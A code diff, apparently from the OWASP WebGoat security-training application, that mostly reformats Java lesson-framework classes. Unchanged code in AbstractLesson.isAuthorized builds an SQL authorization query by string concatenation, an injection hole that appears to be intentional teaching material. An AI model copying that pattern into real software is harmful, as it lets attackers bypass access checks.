@@ -109,19 +108,16 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true);
}
- }
- catch (Throwable t)
+ } catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
- }
- finally
+ } finally
{
try
{
this.writeSource(source, response);
- }
- catch (Throwable thr)
+ } catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage());
@@ -155,12 +151,10 @@ public class LessonSource extends HammerHead
source = lesson.getSource(s);
}
}
- if (source == null)
- {
- return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
- }
+ if (source == null) { return "Source code is not available. Contact "
+ + s.getWebgoatContext().getFeedbackAddress(); }
return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
- "Code Section Deliberately Omitted"));
+ "Code Section Deliberately Omitted"));
}
protected String getSolution(WebSession s)
@@ -180,10 +174,8 @@ public class LessonSource extends HammerHead
source = lesson.getSolution(s);
}
}
- if (source == null)
- {
- return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
- }
+ if (source == null) { return "Solution is not available. Contact "
+ + s.getWebgoatContext().getFeedbackAddress(); }
return (source);
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java
index f29f60903..f54f799e6 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@@ -27,32 +28,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.session.WebgoatProperties;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -62,829 +62,761 @@ import org.owasp.webgoat.session.WebgoatProperties;
public abstract class AbstractLesson extends Screen implements Comparable
{
- /**
- * Description of the Field
- */
- public final static String ADMIN_ROLE = "admin";
+ /**
+ * Description of the Field
+ */
+ public final static String ADMIN_ROLE = "admin";
- public final static String CHALLENGE_ROLE = "challenge";
+ public final static String CHALLENGE_ROLE = "challenge";
- /**
- * Description of the Field
- */
- public final static String HACKED_ADMIN_ROLE = "hacked_admin";
+ /**
+ * Description of the Field
+ */
+ public final static String HACKED_ADMIN_ROLE = "hacked_admin";
- /**
- * Description of the Field
- */
- public final static String USER_ROLE = "user";
+ /**
+ * Description of the Field
+ */
+ public final static String USER_ROLE = "user";
- private static int count = 1;
+ private static int count = 1;
- private Integer id = null;
+ private Integer id = null;
- final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next")
- .setBorder(0).setHspace(0).setVspace(0);
+ final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next").setBorder(0).setHspace(0).setVspace(0);
- final static IMG previousGrey = new IMG("images/left14.gif").setAlt(
- "Previous").setBorder(0).setHspace(0).setVspace(0);
+ final static IMG previousGrey = new IMG("images/left14.gif").setAlt("Previous").setBorder(0).setHspace(0)
+ .setVspace(0);
- private Integer ranking;
+ private Integer ranking;
- private Category category;
+ private Category category;
- private boolean hidden;
+ private boolean hidden;
- private String sourceFileName;
+ private String sourceFileName;
- private String lessonPlanFileName;
+ private String lessonPlanFileName;
- private String lessonSolutionFileName;
+ private String lessonSolutionFileName;
- private WebgoatContext webgoatContext;
-
- /**
- * Constructor for the Lesson object
- */
- public AbstractLesson()
- {
- id = new Integer(++count);
- }
+ private WebgoatContext webgoatContext;
-
- public String getName()
- {
- String className = getClass().getName();
- return className.substring(className.lastIndexOf('.') + 1);
- }
-
-
- public void setRanking(Integer ranking)
- {
- this.ranking = ranking;
- }
-
-
- public void setHidden(boolean hidden)
- {
- this.hidden = hidden;
- }
-
- public void update(WebgoatProperties properties)
- {
- String className = getClass().getName();
- className = className.substring(className.lastIndexOf(".") + 1);
- setRanking(new Integer(properties.getIntProperty("lesson." + className
- + ".ranking", getDefaultRanking().intValue())));
- String categoryRankingKey = "category."
- + getDefaultCategory().getName() + ".ranking";
- // System.out.println("Category ranking key: " + categoryRankingKey);
- Category tempCategory = Category.getCategory(getDefaultCategory()
- .getName());
- tempCategory.setRanking(new Integer(properties.getIntProperty(
- categoryRankingKey, getDefaultCategory().getRanking()
- .intValue())));
- category = tempCategory;
- setHidden(properties.getBooleanProperty("lesson." + className
- + ".hidden", getDefaultHidden()));
- // System.out.println(className + " in " + tempCategory.getName() + "
- // (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking:
- // " + getRanking() + ", hidden:" + hidden +")");
- }
-
-
- public boolean isCompleted(WebSession s)
- {
- return getLessonTracker(s, this).getCompleted();
- }
-
-
- /**
- * Gets the credits attribute of the AbstractLesson object
- *
- * @return The credits value
- */
- public abstract Element getCredits();
-
- /**
- * Description of the Method
- *
- * @param obj
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public int compareTo(Object obj)
- {
- return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
- }
-
-
- /**
- * Description of the Method
- *
- * @param obj
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public boolean equals(Object obj)
- {
- return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
- }
-
-
- /**
- * Gets the category attribute of the Lesson object
- *
- * @return The category value
- */
- public Category getCategory()
- {
- return category;
- }
-
-
- protected abstract Integer getDefaultRanking();
-
-
- protected abstract Category getDefaultCategory();
-
-
- protected abstract boolean getDefaultHidden();
-
- /**
- * Gets the fileMethod attribute of the Lesson class
- *
- * @param reader
- * Description of the Parameter
- * @param methodName
- * Description of the Parameter
- * @param numbers
- * Description of the Parameter
- * @return The fileMethod value
- */
- public static String getFileMethod(BufferedReader reader,
- String methodName, boolean numbers)
- {
- int count = 0;
- StringBuffer sb = new StringBuffer();
- boolean echo = false;
- boolean startCount = false;
- int parenCount = 0;
-
- try
+ /**
+ * Constructor for the Lesson object
+ */
+ public AbstractLesson()
{
- String line;
+ id = new Integer(++count);
+ }
- while ((line = reader.readLine()) != null)
- {
- if ((line.indexOf(methodName) != -1)
- && ((line.indexOf("public") != -1)
- || (line.indexOf("protected") != -1) || (line
- .indexOf("private") != -1)))
+ public String getName()
+ {
+ String className = getClass().getName();
+ return className.substring(className.lastIndexOf('.') + 1);
+ }
+
+ public void setRanking(Integer ranking)
+ {
+ this.ranking = ranking;
+ }
+
+ public void setHidden(boolean hidden)
+ {
+ this.hidden = hidden;
+ }
+
+ public void update(WebgoatProperties properties)
+ {
+ String className = getClass().getName();
+ className = className.substring(className.lastIndexOf(".") + 1);
+ setRanking(new Integer(properties.getIntProperty("lesson." + className + ".ranking", getDefaultRanking()
+ .intValue())));
+ String categoryRankingKey = "category." + getDefaultCategory().getName() + ".ranking";
+ // System.out.println("Category ranking key: " + categoryRankingKey);
+ Category tempCategory = Category.getCategory(getDefaultCategory().getName());
+ tempCategory.setRanking(new Integer(properties.getIntProperty(categoryRankingKey, getDefaultCategory()
+ .getRanking().intValue())));
+ category = tempCategory;
+ setHidden(properties.getBooleanProperty("lesson." + className + ".hidden", getDefaultHidden()));
+ // System.out.println(className + " in " + tempCategory.getName() + "
+ // (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking:
+ // " + getRanking() + ", hidden:" + hidden +")");
+ }
+
+ public boolean isCompleted(WebSession s)
+ {
+ return getLessonTracker(s, this).getCompleted();
+ }
+
+ /**
+ * Gets the credits attribute of the AbstractLesson object
+ *
+ * @return The credits value
+ */
+ public abstract Element getCredits();
+
+ /**
+ * Description of the Method
+ *
+ * @param obj
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public int compareTo(Object obj)
+ {
+ return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param obj
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public boolean equals(Object obj)
+ {
+ return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
+ }
+
+ /**
+ * Gets the category attribute of the Lesson object
+ *
+ * @return The category value
+ */
+ public Category getCategory()
+ {
+ return category;
+ }
+
+ protected abstract Integer getDefaultRanking();
+
+ protected abstract Category getDefaultCategory();
+
+ protected abstract boolean getDefaultHidden();
+
+ /**
+ * Gets the fileMethod attribute of the Lesson class
+ *
+ * @param reader
+ * Description of the Parameter
+ * @param methodName
+ * Description of the Parameter
+ * @param numbers
+ * Description of the Parameter
+ * @return The fileMethod value
+ */
+ public static String getFileMethod(BufferedReader reader, String methodName, boolean numbers)
+ {
+ int count = 0;
+ StringBuffer sb = new StringBuffer();
+ boolean echo = false;
+ boolean startCount = false;
+ int parenCount = 0;
+
+ try
{
- echo = true;
- startCount = true;
+ String line;
+
+ while ((line = reader.readLine()) != null)
+ {
+ if ((line.indexOf(methodName) != -1)
+ && ((line.indexOf("public") != -1) || (line.indexOf("protected") != -1) || (line
+ .indexOf("private") != -1)))
+ {
+ echo = true;
+ startCount = true;
+ }
+
+ if (echo && startCount)
+ {
+ if (numbers)
+ {
+ sb.append(pad(++count) + " ");
+ }
+
+ sb.append(line + "\n");
+ }
+
+ if (echo && (line.indexOf("{") != -1))
+ {
+ parenCount++;
+ }
+
+ if (echo && (line.indexOf("}") != -1))
+ {
+ parenCount--;
+
+ if (parenCount == 0)
+ {
+ startCount = false;
+ echo = false;
+ }
+ }
+ }
+
+ reader.close();
+ } catch (Exception e)
+ {
+ System.out.println(e);
+ e.printStackTrace();
}
- if (echo && startCount)
- {
- if (numbers)
- {
- sb.append(pad(++count) + " ");
- }
+ return (sb.toString());
+ }
- sb.append(line + "\n");
+ /**
+ * Reads text from a file into an ElementContainer. Each line in the file is represented in the
+ * ElementContainer by a StringElement. Each StringElement is appended with a new-line
+ * character.
+ *
+ * @param reader
+ * Description of the Parameter
+ * @param numbers
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public static String readFromFile(BufferedReader reader, boolean numbers)
+ {
+ return (getFileText(reader, numbers));
+ }
+
+ /**
+ * Gets the fileText attribute of the Screen class
+ *
+ * @param reader
+ * Description of the Parameter
+ * @param numbers
+ * Description of the Parameter
+ * @return The fileText value
+ */
+ public static String getFileText(BufferedReader reader, boolean numbers)
+ {
+ int count = 0;
+ StringBuffer sb = new StringBuffer();
+
+ try
+ {
+ String line;
+
+ while ((line = reader.readLine()) != null)
+ {
+ if (numbers)
+ {
+ sb.append(pad(++count) + " ");
+ }
+ sb.append(line + System.getProperty("line.separator"));
+ }
+
+ reader.close();
+ } catch (Exception e)
+ {
+ System.out.println(e);
+ e.printStackTrace();
}
- if (echo && (line.indexOf("{") != -1))
+ return (sb.toString());
+ }
+
+ /**
+ * Will this screen be included in an enterprise edition.
+ *
+ * @return The ranking value
+ */
+ public boolean isEnterprise()
+ {
+ return false;
+ }
+
+ /**
+ * Gets the hintCount attribute of the Lesson object
+ *
+ * @param s
+ * The user's WebSession
+ *
+ * @return The hintCount value
+ */
+ public int getHintCount(WebSession s)
+ {
+ return getHints(s).size();
+ }
+
+ protected abstract List getHints(WebSession s);
+
+ /**
+ * Fill in a minor hint that will help people who basically get it, but are stuck on somthing
+ * silly.
+ *
+ * @param s
+ * The users WebSession
+ *
+ * @return The hint1 value
+ */
+ public String getHint(WebSession s, int hintNumber)
+ {
+ return getHints(s).get(hintNumber);
+ }
+
+ /**
+ * Gets the instructions attribute of the AbstractLesson object
+ *
+ * @return The instructions value
+ */
+ public abstract String getInstructions(WebSession s);
+
+ /**
+ * Gets the lessonPlan attribute of the Lesson object
+ *
+ * @return The lessonPlan value
+ */
+ protected String getLessonName()
+ {
+ int index = this.getClass().getName().indexOf("lessons.");
+ return this.getClass().getName().substring(index + "lessons.".length());
+ }
+
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public abstract String getTitle();
+
+ /**
+ * Gets the content of lessonPlanURL
+ *
+ * @param s
+ * The user's WebSession
+ *
+ * @return The HTML content of the current lesson plan
+ */
+ public String getLessonPlan(WebSession s)
+ {
+ String src = null;
+
+ try
{
- parenCount++;
+ // System.out.println("Loading lesson plan file: " +
+ // getLessonPlanFileName());
+ src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonPlanFileName()))), false);
+
+ } catch (Exception e)
+ {
+ // s.setMessage( "Could not find lesson plan for " +
+ // getLessonName());
+ src = ("Could not find lesson plan for: " + getLessonName());
+
+ }
+ return src;
+ }
+
+ /**
+ * Gets the ranking attribute of the Lesson object
+ *
+ * @return The ranking value
+ */
+ public Integer getRanking()
+ {
+ if (ranking != null)
+ {
+ return ranking;
+ }
+ else
+ {
+ return getDefaultRanking();
+ }
+ }
+
+ /**
+ * Gets the hidden value of the Lesson Object
+ *
+ * @return The hidden value
+ */
+ public boolean getHidden()
+ {
+ return this.hidden;
+ }
+
+ /**
+ * Gets the role attribute of the AbstractLesson object
+ *
+ * @return The role value
+ */
+ public String getRole()
+ {
+ // FIXME: Each lesson should have a role assigned to it. Each
+ // user/student
+ // should also have a role(s) assigned. The user would only be allowed
+ // to see lessons that correspond to their role. Eventually these roles
+ // will be stored in the internal database. The user will be able to
+ // hack
+ // into the database and change their role. This will allow the user to
+ // see the admin screens, once they figure out how to turn the admin
+ // switch on.
+ return USER_ROLE;
+ }
+
+ /**
+ * Gets the uniqueID attribute of the AbstractLesson object
+ *
+ * @return The uniqueID value
+ */
+ public int getScreenId()
+ {
+ return id.intValue();
+ }
+
+ public String getHtml_DELETE_ME(WebSession s)
+ {
+ String html = null;
+
+ // FIXME: This doesn't work for the labs since they do not implement
+ // createContent().
+ String rawHtml = createContent(s).toString();
+ // System.out.println("Getting raw html content: " +
+ // rawHtml.substring(0, Math.min(rawHtml.length(), 100)));
+ html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(new StringReader(rawHtml)), true));
+ // System.out.println("Getting encoded html content: " +
+ // html.substring(0, Math.min(html.length(), 100)));
+
+ return html;
+ }
+
+ public String getSource(WebSession s)
+ {
+ String source = null;
+ String src = null;
+
+ try
+ {
+ // System.out.println("Loading source file: " +
+ // getSourceFileName());
+ src = convertMetacharsJavaCode(readFromFile(new BufferedReader(new FileReader(s
+ .getWebResource(getSourceFileName()))), true));
+
+ // TODO: For styled line numbers and better memory efficiency,
+ // use a custom FilterReader
+ // that performs the convertMetacharsJavaCode() transform plus
+ // optionally adds a styled
+ // line number. Wouldn't color syntax be great too?
+ } catch (IOException e)
+ {
+ s.setMessage("Could not find source file");
+ src = ("Could not find source file");
}
- if (echo && (line.indexOf("}") != -1))
+ Html html = new Html();
+
+ Head head = new Head();
+ head.addElement(new Title(getSourceFileName()));
+
+ Body body = new Body();
+ body.addElement(new StringElement(src));
+
+ html.addElement(head);
+ html.addElement(body);
+
+ source = html.toString();
+
+ return source;
+ }
+
+ public String getSolution(WebSession s)
+ {
+ String src = null;
+
+ try
{
- parenCount--;
-
- if (parenCount == 0)
- {
- startCount = false;
- echo = false;
- }
- }
- }
-
- reader.close();
- }
- catch (Exception e)
- {
- System.out.println(e);
- e.printStackTrace();
- }
-
- return (sb.toString());
- }
-
-
- /**
- * Reads text from a file into an ElementContainer. Each line in the
- * file is represented in the ElementContainer by a StringElement. Each
- * StringElement is appended with a new-line character.
- *
- * @param reader
- * Description of the Parameter
- * @param numbers
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public static String readFromFile(BufferedReader reader, boolean numbers)
- {
- return (getFileText(reader, numbers));
- }
-
-
- /**
- * Gets the fileText attribute of the Screen class
- *
- * @param reader
- * Description of the Parameter
- * @param numbers
- * Description of the Parameter
- * @return The fileText value
- */
- public static String getFileText(BufferedReader reader, boolean numbers)
- {
- int count = 0;
- StringBuffer sb = new StringBuffer();
-
- try
- {
- String line;
-
- while ((line = reader.readLine()) != null)
- {
- if (numbers)
+ src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
+ } catch (IOException e)
{
- sb.append(pad(++count) + " ");
+ s.setMessage("Could not find the solution file");
+ src = ("Could not find the solution file");
}
- sb.append(line + System.getProperty("line.separator"));
- }
- reader.close();
+ Html html = new Html();
+
+ Head head = new Head();
+ head.addElement(new Title(getLessonSolutionFileName()));
+
+ Body body = new Body();
+ body.addElement(new StringElement(src));
+
+ html.addElement(head);
+ html.addElement(body);
+
+ return src;
}
- catch (Exception e)
+
+ /**
+ * Get the link that can be used to request this screen.
+ *
+ * @return
+ */
+ public String getLink()
{
- System.out.println(e);
- e.printStackTrace();
+ StringBuffer link = new StringBuffer();
+
+ link.append("attack?");
+ link.append(WebSession.SCREEN);
+ link.append("=");
+ link.append(getScreenId());
+ link.append("&");
+ link.append(WebSession.MENU);
+ link.append("=");
+ link.append(getCategory().getRanking());
+ return link.toString();
}
- return (sb.toString());
- }
-
-
- /**
- * Will this screen be included in an enterprise edition.
- *
- * @return The ranking value
- */
- public boolean isEnterprise()
- {
- return false;
- }
-
-
- /**
- * Gets the hintCount attribute of the Lesson object
- * @param s The user's WebSession
- *
- * @return The hintCount value
- */
- public int getHintCount(WebSession s)
- {
- return getHints(s).size();
- }
-
-
- protected abstract List getHints(WebSession s);
-
-
- /**
- * Fill in a minor hint that will help people who basically get it, but
- * are stuck on somthing silly.
- * @param s The users WebSession
- *
- * @return The hint1 value
- */
- public String getHint(WebSession s, int hintNumber)
- {
- return getHints(s).get(hintNumber);
- }
-
-
- /**
- * Gets the instructions attribute of the AbstractLesson object
- *
- * @return The instructions value
- */
- public abstract String getInstructions(WebSession s);
-
-
- /**
- * Gets the lessonPlan attribute of the Lesson object
- *
- * @return The lessonPlan value
- */
- protected String getLessonName()
- {
- int index = this.getClass().getName().indexOf("lessons.");
- return this.getClass().getName().substring(index + "lessons.".length());
- }
-
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public abstract String getTitle();
-
-
- /**
- * Gets the content of lessonPlanURL
- *
- * @param s
- * The user's WebSession
- *
- * @return The HTML content of the current lesson plan
- */
- public String getLessonPlan(WebSession s)
- {
- String src = null;
-
- try
+ /**
+ * Get the link to the jsp page used to render this screen.
+ *
+ * @return
+ */
+ public String getPage(WebSession s)
{
- // System.out.println("Loading lesson plan file: " +
- // getLessonPlanFileName());
- src = readFromFile(new BufferedReader(new FileReader(s
- .getWebResource(getLessonPlanFileName()))), false);
-
+ return null;
}
- catch (Exception e)
+
+ /**
+ * Get the link to the jsp template page used to render this screen.
+ *
+ * @return
+ */
+ public String getTemplatePage(WebSession s)
{
- // s.setMessage( "Could not find lesson plan for " +
- // getLessonName());
- src = ("Could not find lesson plan for: " + getLessonName());
-
+ return null;
}
- return src;
- }
+ public abstract String getCurrentAction(WebSession s);
- /**
- * Gets the ranking attribute of the Lesson object
- *
- * @return The ranking value
- */
- public Integer getRanking()
- {
- if (ranking != null)
+ public abstract void setCurrentAction(WebSession s, String lessonScreen);
+
+ /**
+ * Override this method to implement accesss control in a lesson.
+ *
+ * @param s
+ * @param functionId
+ * @return
+ */
+ public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{
- return ranking;
+ return false;
}
- else
+
+ /**
+ * Override this method to implement accesss control in a lesson.
+ *
+ * @param s
+ * @param functionId
+ * @return
+ */
+ public boolean isAuthorized(WebSession s, String role, String functionId)
{
- return getDefaultRanking();
+ boolean authorized = false;
+ try
+ {
+ String query = "SELECT * FROM auth WHERE role = '" + role + "' and functionid = '" + functionId + "'";
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ authorized = answer_results.first();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error authorizing");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error authorizing");
+ e.printStackTrace();
+ }
+ return authorized;
}
- }
-
- /**
- * Gets the hidden value of the Lesson Object
- *
- * @return The hidden value
- */
- public boolean getHidden()
- {
- return this.hidden;
- }
-
-
- /**
- * Gets the role attribute of the AbstractLesson object
- *
- * @return The role value
- */
- public String getRole()
- {
- // FIXME: Each lesson should have a role assigned to it. Each
- // user/student
- // should also have a role(s) assigned. The user would only be allowed
- // to see lessons that correspond to their role. Eventually these roles
- // will be stored in the internal database. The user will be able to
- // hack
- // into the database and change their role. This will allow the user to
- // see the admin screens, once they figure out how to turn the admin
- // switch on.
- return USER_ROLE;
- }
-
-
- /**
- * Gets the uniqueID attribute of the AbstractLesson object
- *
- * @return The uniqueID value
- */
- public int getScreenId()
- {
- return id.intValue();
- }
-
-
- public String getHtml_DELETE_ME(WebSession s)
- {
- String html = null;
-
- // FIXME: This doesn't work for the labs since they do not implement
- // createContent().
- String rawHtml = createContent(s).toString();
- // System.out.println("Getting raw html content: " +
- // rawHtml.substring(0, Math.min(rawHtml.length(), 100)));
- html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(
- new StringReader(rawHtml)), true));
- // System.out.println("Getting encoded html content: " +
- // html.substring(0, Math.min(html.length(), 100)));
-
- return html;
- }
-
-
- public String getSource(WebSession s)
- {
- String source = null;
- String src = null;
-
- try
+ public int getUserId(WebSession s) throws ParameterNotFoundException
{
- // System.out.println("Loading source file: " +
- // getSourceFileName());
- src = convertMetacharsJavaCode(readFromFile(new BufferedReader(
- new FileReader(s.getWebResource(getSourceFileName()))),
- true));
-
- // TODO: For styled line numbers and better memory efficiency,
- // use a custom FilterReader
- // that performs the convertMetacharsJavaCode() transform plus
- // optionally adds a styled
- // line number. Wouldn't color syntax be great too?
+ return -1;
}
- catch (IOException e)
+
+ public String getUserName(WebSession s) throws ParameterNotFoundException
{
- s.setMessage("Could not find source file");
- src = ("Could not find source file");
+ return null;
}
- Html html = new Html();
-
- Head head = new Head();
- head.addElement(new Title(getSourceFileName()));
-
- Body body = new Body();
- body.addElement(new StringElement(src));
-
- html.addElement(head);
- html.addElement(body);
-
- source = html.toString();
-
- return source;
- }
-
-
- public String getSolution(WebSession s)
- {
- String src = null;
-
- try
+ /**
+ * Description of the Method
+ *
+ * @param windowName
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public static String makeWindowScript(String windowName)
{
- src = readFromFile(new BufferedReader(
- new FileReader(s.getWebResource(getLessonSolutionFileName()))),
- false);
+ // FIXME: make this string static
+ StringBuffer script = new StringBuffer();
+ script.append("\n");
+
+ return script.toString();
}
- catch (IOException e)
+
+ /**
+ * Simply reads a url into an Element for display. CAUTION: you might want to tinker with any
+ * non-https links (href)
+ *
+ * @param url
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public static Element readFromURL(String url)
{
- s.setMessage("Could not find the solution file");
- src = ("Could not find the solution file");
+ ElementContainer ec = new ElementContainer();
+
+ try
+ {
+ URL u = new URL(url);
+ HttpURLConnection huc = (HttpURLConnection) u.openConnection();
+ BufferedReader reader = new BufferedReader(new InputStreamReader(huc.getInputStream()));
+ String line;
+
+ while ((line = reader.readLine()) != null)
+ {
+ ec.addElement(new StringElement(line));
+ }
+
+ reader.close();
+ } catch (Exception e)
+ {
+ System.out.println(e);
+ e.printStackTrace();
+ }
+
+ return (ec);
}
- Html html = new Html();
-
- Head head = new Head();
- head.addElement(new Title(getLessonSolutionFileName()));
-
- Body body = new Body();
- body.addElement(new StringElement(src));
-
- html.addElement(head);
- html.addElement(body);
-
- return src;
- }
-
-
- /**
- * Get the link that can be used to request this screen.
- *
- * @return
- */
- public String getLink()
- {
- StringBuffer link = new StringBuffer();
-
- link.append("attack?");
- link.append(WebSession.SCREEN);
- link.append("=");
- link.append(getScreenId());
- link.append("&");
- link.append(WebSession.MENU);
- link.append("=");
- link.append(getCategory().getRanking());
- return link.toString();
- }
-
-
- /**
- * Get the link to the jsp page used to render this screen.
- *
- * @return
- */
- public String getPage(WebSession s)
- {
- return null;
- }
-
-
- /**
- * Get the link to the jsp template page used to render this screen.
- *
- * @return
- */
- public String getTemplatePage(WebSession s)
- {
- return null;
- }
-
-
- public abstract String getCurrentAction(WebSession s);
-
-
- public abstract void setCurrentAction(WebSession s, String lessonScreen);
-
- /**
- * Override this method to implement accesss control in a lesson.
- *
- * @param s
- * @param functionId
- * @return
- */
- public boolean isAuthorized(WebSession s, int employeeId, String functionId)
- {
- return false;
- }
-
-
- /**
- * Override this method to implement accesss control in a lesson.
- *
- * @param s
- * @param functionId
- * @return
- */
- public boolean isAuthorized(WebSession s, String role, String functionId)
- {
- boolean authorized = false;
- try
+ /**
+ * Description of the Method
+ *
+ * @param reader
+ * Description of the Parameter
+ * @param numbers
+ * Description of the Parameter
+ * @param methodName
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ public static Element readMethodFromFile(BufferedReader reader, String methodName, boolean numbers)
{
- String query = "SELECT * FROM auth WHERE role = '" + role
- + "' and functionid = '" + functionId + "'";
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- authorized = answer_results.first();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error authorizing");
- sqle.printStackTrace();
- }
+ PRE pre = new PRE().addElement(getFileMethod(reader, methodName, numbers));
+
+ return (pre);
}
- catch (Exception e)
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ */
+ public void handleRequest(WebSession s)
{
- s.setMessage("Error authorizing");
- e.printStackTrace();
+ // call createContent first so messages will go somewhere
+
+ Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
+
+ form.addElement(createContent(s));
+
+ setContent(form);
}
- return authorized;
- }
-
- public int getUserId(WebSession s) throws ParameterNotFoundException
- {
- return -1;
- }
-
-
- public String getUserName(WebSession s) throws ParameterNotFoundException
- {
- return null;
- }
-
- /**
- * Description of the Method
- *
- * @param windowName
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public static String makeWindowScript(String windowName)
- {
- // FIXME: make this string static
- StringBuffer script = new StringBuffer();
- script.append("\n");
-
- return script.toString();
- }
-
-
- /**
- * Simply reads a url into an Element for display. CAUTION: you might
- * want to tinker with any non-https links (href)
- *
- * @param url
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public static Element readFromURL(String url)
- {
- ElementContainer ec = new ElementContainer();
-
- try
+ public String getFormAction()
{
- URL u = new URL(url);
- HttpURLConnection huc = (HttpURLConnection) u.openConnection();
- BufferedReader reader = new BufferedReader(new InputStreamReader(
- huc.getInputStream()));
- String line;
-
- while ((line = reader.readLine()) != null)
- {
- ec.addElement(new StringElement(line));
- }
-
- reader.close();
+ return getLink();
}
- catch (Exception e)
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+
+ public String toString()
{
- System.out.println(e);
- e.printStackTrace();
+ return getTitle();
}
- return (ec);
- }
+ public String getLessonPlanFileName()
+ {
+ return lessonPlanFileName;
+ }
+ public void setLessonPlanFileName(String lessonPlanFileName)
+ {
+ this.lessonPlanFileName = lessonPlanFileName;
+ }
- /**
- * Description of the Method
- *
- * @param reader
- * Description of the Parameter
- * @param numbers
- * Description of the Parameter
- * @param methodName
- * Description of the Parameter
- * @return Description of the Return Value
- */
- public static Element readMethodFromFile(BufferedReader reader,
- String methodName, boolean numbers)
- {
- PRE pre = new PRE().addElement(getFileMethod(reader, methodName,
- numbers));
+ public String getLessonSolutionFileName()
+ {
+ return lessonSolutionFileName;
+ }
- return (pre);
- }
+ public void setLessonSolutionFileName(String lessonSolutionFileName)
+ {
+ this.lessonSolutionFileName = lessonSolutionFileName;
+ }
+ public String getSourceFileName()
+ {
+ return sourceFileName;
+ }
- /**
- * Description of the Method
- *
- * @param s
- * Description of the Parameter
- */
- public void handleRequest(WebSession s)
- {
- // call createContent first so messages will go somewhere
+ public void setSourceFileName(String sourceFileName)
+ {
+ // System.out.println("Setting source file of lesson " + this + " to: "
+ // + sourceFileName);
+ this.sourceFileName = sourceFileName;
+ }
- Form form = new Form(getFormAction(), Form.POST).setName("form")
- .setEncType("");
-
